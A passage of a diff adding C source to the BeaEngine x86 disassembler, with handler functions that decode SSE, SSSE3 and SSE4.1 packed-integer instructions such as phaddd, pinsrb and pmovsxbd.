GV.MemDecoration = Arg1dword; + } + else { + GV.MemDecoration = Arg1word; + } + GV.ImmediatSize = 8; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 38 02 + * ==================================================================== */ +void __bea_callspec__ phaddd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phaddd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phaddd "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 38 03 + * ==================================================================== */ +void __bea_callspec__ phaddsw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phaddsw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phaddsw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 38 01 + * ==================================================================== */ +void __bea_callspec__ phaddw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phaddw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phaddw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 38 41 + * ==================================================================== */ +void __bea_callspec__ phminposuw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+HORIZONTAL_SEARCH; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phminposuw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 05 + * ==================================================================== */ +void __bea_callspec__ phsubw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phsubw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phsubw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 38 06 + * ==================================================================== */ +void __bea_callspec__ phsubd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phsubd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phsubd "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 38 07 + * ==================================================================== */ +void __bea_callspec__ phsubsw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phsubsw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phsubsw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 3a 20 + * ==================================================================== */ +void __bea_callspec__ pinsrb_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2byte; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+INSERTION_EXTRACTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pinsrb "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 3a 22 + * ==================================================================== */ +void __bea_callspec__ pinsrd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+INSERTION_EXTRACTION; + if (GV.REX.W_ == 0x1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pinsrq "); + #endif + GV.MemDecoration = Arg1qword; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pinsrd "); + #endif + GV.MemDecoration = Arg1dword; + } + GV.ImmediatSize = 8; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f c4 + * ==================================================================== */ +void __bea_callspec__ pinsrw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pinsrw "); + #endif + GV.MemDecoration = Arg2word; + GV.ImmediatSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pinsrw "); + #endif + GV.MemDecoration = Arg2word; + GV.ImmediatSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.MMX_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + } + +} + + +/* ==================================================================== + * 0x 0f 38 3c + * ==================================================================== */ +void __bea_callspec__ pmaxsb_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_MINMAX; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxsb "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ==================================================================== + * 0x 0f 38 3d + * ==================================================================== */ +void __bea_callspec__ pmaxsd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_MINMAX; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxsd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ==================================================================== + * 0x 0f 38 3e + * ==================================================================== */ +void __bea_callspec__ pmaxuw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_MINMAX; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxuw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ==================================================================== + * 0x 0f 38 3f + * ==================================================================== */ +void __bea_callspec__ pmaxud_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_MINMAX; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxud "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ==================================================================== + * 0x 0f 38 38 + * ==================================================================== */ +void __bea_callspec__ pminsb_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_MINMAX; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminsb "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ==================================================================== + * 0x 0f 38 39 + * ==================================================================== */ +void __bea_callspec__ pminsd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_MINMAX; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminsd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ==================================================================== + * 0x 0f 38 3a + * ==================================================================== */ +void __bea_callspec__ pminuw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_MINMAX; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminuw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ==================================================================== + * 0x 0f 38 3b + * ==================================================================== */ +void __bea_callspec__ pminud_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_MINMAX; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminud "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f da + * ==================================================================== */ +void __bea_callspec__ pminub_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminub "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminub "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f de + * ==================================================================== */ +void __bea_callspec__ pmaxub_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxub "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxub "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f ea + * ==================================================================== */ +void __bea_callspec__ pminsw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminsw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminsw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f ee + * ==================================================================== */ +void __bea_callspec__ pmaxsw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxsw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxsw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 38 04 + * ==================================================================== */ +void __bea_callspec__ pmaddubsw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaddubsw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaddubsw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f d7 + * ==================================================================== */ +void __bea_callspec__ pmovmskb_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovmskb "); + #endif + GV.MemDecoration = Arg2dqword; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + } + else { + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovmskb "); + #endif + GV.MemDecoration = Arg2qword; + GV.MMX_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.MMX_ = 0; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + } + +} + + +/* ==================================================================== + * 0x 0f 38 21 + * ==================================================================== */ +void __bea_callspec__ pmovsxbd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovsxbd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 22 + * ==================================================================== */ +void __bea_callspec__ pmovsxbq_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovsxbq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 20 + * ==================================================================== */ +void __bea_callspec__ pmovsxbw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovsxbw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 25 + * ==================================================================== */ +void __bea_callspec__ pmovsxdq_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovsxdq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 23 + * ==================================================================== */ +void __bea_callspec__ pmovsxwd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovsxwd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 24 + * ==================================================================== */ +void __bea_callspec__ pmovsxwq_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = 